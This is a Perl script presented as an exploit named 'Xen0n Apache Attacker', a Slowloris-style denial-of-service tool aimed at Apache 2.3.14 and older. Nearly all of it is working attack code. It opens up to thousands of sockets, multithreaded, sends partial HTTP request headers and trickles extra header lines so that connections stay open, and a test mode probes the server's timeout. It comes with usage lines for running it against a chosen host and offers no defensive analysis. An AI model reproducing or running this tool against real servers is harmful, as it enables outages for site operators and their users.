#!/usr/bin/perl -w
# Exploit Title: Apache Server  2.3.14 <= Denial of Service exploit (DDOS)
# Date: 22/10/2011
# Author: Xen0n
# Software Link: http://www.apache.org/dyn/closer.cgi
# Version: 2.3.14 and older
# Tested on: CentOs
#feel free to contact us [email protected]
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;
$SIG{'PIPE'} = 'IGNORE';	#Ignore broken pipe errors
print <<EOTEXT;
		  ooooooo  ooooo						 .oooo.
		   `8888	d8'						 d8P'`Y8b
			 Y888..8P	 .ooooo.  ooo. .oo.   888	888 ooo. .oo.
			  `8888'	 d88' `88b `888P"Y88b  888	888 `888P"Y88b
			 .8PY888.	888ooo888  888   888  888	888  888   888
			d8'  `888b   888	.o  888   888  `88b  d88'  888   888
		  o888o  o88888o `Y8bod8P' o888o o888o  `Y8bd8P'  o888o o888o
Welcome to Xen0n Apache Attacker
EOTEXT
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $xenon, $method, $ssl, $rand, $tcpto );
my $result = GetOptions('shost=s'   => \$shost,'dns=s'	 => \$host,'xenon' => \$xenon,'num=i'	 => \$connections,'cache'	 => \$cache,'port=i'	=> \$port,'https'	 => \$ssl,'tcpto=i'   => \$tcpto,'test'	  => \$test,'timeout=i' => \$timeout,'version'   => \$version,);
if ($version) {
	print "Version 1.0\n";
	exit;
}
unless ($host) {
	print "Test:\n\n\tperl $0 -dns [www.example.com] -test\n";
	print "Usage:\n\n\tperl $0 -dns [www.example.com] -port 80 -timeout 100 -num 1000 -tcpto 5 -xenon\n";
	print "\n\temail: [email protected] gmail.com\n";
print "\n";
	exit;
}
unless ($port) {
	$port = 80;
	print "Defaulting to port 80.\n";
}
unless ($tcpto) {
	$tcpto = 5;
	print "Defaulting to a 5 second tcp connection timeout.\n";
}
unless ($test) {
	unless ($timeout) {
		$timeout = 100;
		print "Defaulting to a 100 second re-try timeout.\n";
	}
	unless ($connections) {
		$connections = 1000;
		print "Defaulting to 1000 connections.\n";
	}
}
my $usemultithreading = 0;
if ( $Config{usethreads} ) {
	print "Multithreading enabled.\n";
	$usemultithreading = 1;
	use threads;
	use threads::shared;
}
else {
	print "No multithreading capabilites found!\n";
	print "Xen0n will be slower than normal as a result.\n";
}
my $packetcount : shared	 = 0;
my $failed : shared		  = 0;
my $connectioncount : shared = 0;
srand() if ($cache);
if ($shost) {
	$sendhost = $shost;
}
else {
	$sendhost = $host;
}
if ($xenon) {
	$method = "POST";
}
else {
	$method = "GET";
}
if ($test) {
	my @times = ( "1", "30", "90", "240", "500" );
	my $totaltime = 0;
	foreach (@times) {
		$totaltime = $totaltime + $_;
	}
	$totaltime = $totaltime / 60;
	print "Testing $host could take up to $totaltime minutes.\n";
	my $delay   = 0;
	my $working = 0;
	my $sock;
	if ($ssl) {
		if (
			$sock = new IO::Socket::SSL(
				PeerAddr => "$host",
				PeerPort => "$port",
				Timeout  => "$tcpto",
				Proto	=> "tcp",
			)
		  )
		{
			$working = 1;
		}
	}
	else {
		if (
			$sock = new IO::Socket::INET(
				PeerAddr => "$host",
				PeerPort => "$port",
				Timeout  => "$tcpto",
				Proto	=> "tcp",
			)
		  )
		{
			$working = 1;
		}
	}
	if ($working) {
		if ($cache) {
			$rand = "?" . int( rand(99999999999999) );
		}
		else {
			$rand = "";
		}
		my $primarypayload =
			"GET /$rand HTTP/1.1\r\n"
		  . "Host: $sendhost\r\n"
		  . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
		  . "Content-Length: 42\r\n";
		if ( print $sock $primarypayload ) {
			print "Connection successful, now just wait...\n";
		}
		else {
			print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
			print "Is something wrong?\nDying.\n";
			exit;
		}
	}
	else {
		print "Uhm... I can't connect to $host:$port.\n";
		print "Is something wrong?\nDying.\n";
		exit;
	}
	for ( my $i = 0 ; $i <= $#times ; $i++ ) {
		print "Trying a $times[$i] second delay: \n";
		sleep( $times[$i] );
		if ( print $sock "X-a: b\r\n" ) {
			print "\tWorked.\n";
			$delay = $times[$i];
		}
		else {
			if ( $SIG{__WARN__} ) {
				$delay = $times[ $i - 1 ];
				last;
			}
			print "\tFailed after $times[$i] seconds.\n";
		}
	}
	if ( print $sock "Connection: Close\r\n\r\n" ) {
		print "Okay that's enough time. Xen0n closed the socket.\n";
		print "Use $delay seconds for -timeout.\n";
		exit;
	}
	else {
		print "Remote server closed socket.\n";
		print "Use $delay seconds for -timeout.\n";
		exit;
	}
	if ( $delay < 166 ) {
		print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all...  you might have trouble using Xen0n against this target.  You can
tweak the -tcpto flag down to 1 second but it still may not build the sockets
in time.
EOSUCKS2BU
	}
}
else {
	print
"Attacking $host:$port every $timeout seconds with $connections sockets:\n";
	if ($usemultithreading) {
		domultithreading($connections);
	}
	else {
		doconnections( $connections, $usemultithreading );
	}
}
sub doconnections {
	my ( $num, $usemultithreading ) = @_;
	my ( @first, @sock, @working );
	my $failedconnections = 0;
	$working[$_] = 0 foreach ( 1 .. $num );	#initializing
	$first[$_]   = 0 foreach ( 1 .. $num );	#initializing
	while (1) {
		$failedconnections = 0;
		print "\t\tBuilding sockets.\n";
		foreach my $z ( 1 .. $num ) {
			if ( $working[$z] == 0 ) {
				if ($ssl) {
					if (
						$sock[$z] = new IO::Socket::SSL(
							PeerAddr => "$host",
							PeerPort => "$port",
							Timeout  => "$tcpto",
							Proto	=> "tcp",
						)
					  )
					{
						$working[$z] = 1;
					}
					else {
						$working[$z] = 0;
					}
				}
				else {
					if (
						$sock[$z] = new IO::Socket::INET(
							PeerAddr => "$host",
							PeerPort => "$port",
							Timeout  => "$tcpto",
							Proto	=> "tcp",
						)
					  )
					{
						$working[$z] = 1;
						$packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
					}
					else {
						$working[$z] = 0;
					}
				}
				if ( $working[$z] == 1 ) {
					if ($cache) {
						$rand = "?" . int( rand(99999999999999) );
					}
					else {
						$rand = "";
					}
					my $primarypayload =
						"$method /$rand HTTP/1.1\r\n"
					  . "Host: $sendhost\r\n"
					  . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
					  . "Content-Length: 42\r\n";
					my $handle = $sock[$z];
					if ($handle) {
						print $handle "$primarypayload";
						if ( $SIG{__WARN__} ) {
							$working[$z] = 0;
							close $handle;
							$failed++;
							$failedconnections++;
						}
						else {
							$packetcount++;
							$working[$z] = 1;
						}
					}
					else {
						$working[$z] = 0;
						$failed++;
						$failedconnections++;
					}
				}
				else {
					$working[$z] = 0;
					$failed++;
					$failedconnections++;
				}
			}
		}
		print "\t\tSending data.\n";
		foreach my $z ( 1 .. $num ) {
			if ( $working[$z] == 1 ) {
				if ( $sock[$z] ) {
					my $handle = $sock[$z];
					if ( print $handle "X-a: b\r\n" ) {
						$working[$z] = 1;
						$packetcount++;
					}
					else {
						$working[$z] = 0;
						#debugging info
						$failed++;
						$failedconnections++;
					}
				}
				else {
					$working[$z] = 0;
					#debugging info
					$failed++;
					$failedconnections++;
				}
			}
		}
		print
"Current stats:\tXen0n has sent $packetcount packets to $host.\nThe attack will sleep for $timeout seconds...\n\n";
		sleep($timeout);
	}
}
sub domultithreading {
	my ($num) = @_;
	my @thrs;
	my $i					= 0;
	my $connectionsperthread = 50;
	while ( $i < $num ) {
		$thrs[$i] =
		  threads->create( \&doconnections, $connectionsperthread, 1 );
		$i += $connectionsperthread;
	}
	my @threadslist = threads->list();
	while ( $#threadslist > 0 ) {
		$failed = 0;
	}
}
__END__